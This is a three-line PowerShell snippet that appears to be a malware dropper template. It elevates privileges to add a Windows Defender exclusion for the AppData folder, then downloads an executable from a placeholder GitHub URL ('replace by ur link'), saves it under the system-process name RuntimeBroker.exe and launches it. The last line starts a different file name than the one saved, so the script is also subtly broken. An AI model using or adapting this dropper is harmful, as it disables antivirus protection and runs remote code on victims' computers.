start Powershell -A 'Add-MpPreference -ExclusionPath $env:AppData' -V runAs

Invoke-WebRequest -OutFile $env:AppData\RuntimeBroker.exe -Uri https://github.com/user/user/raw/refs/heads/main/malware.exe (replace by ur link)

start $env:AppData\malware.exe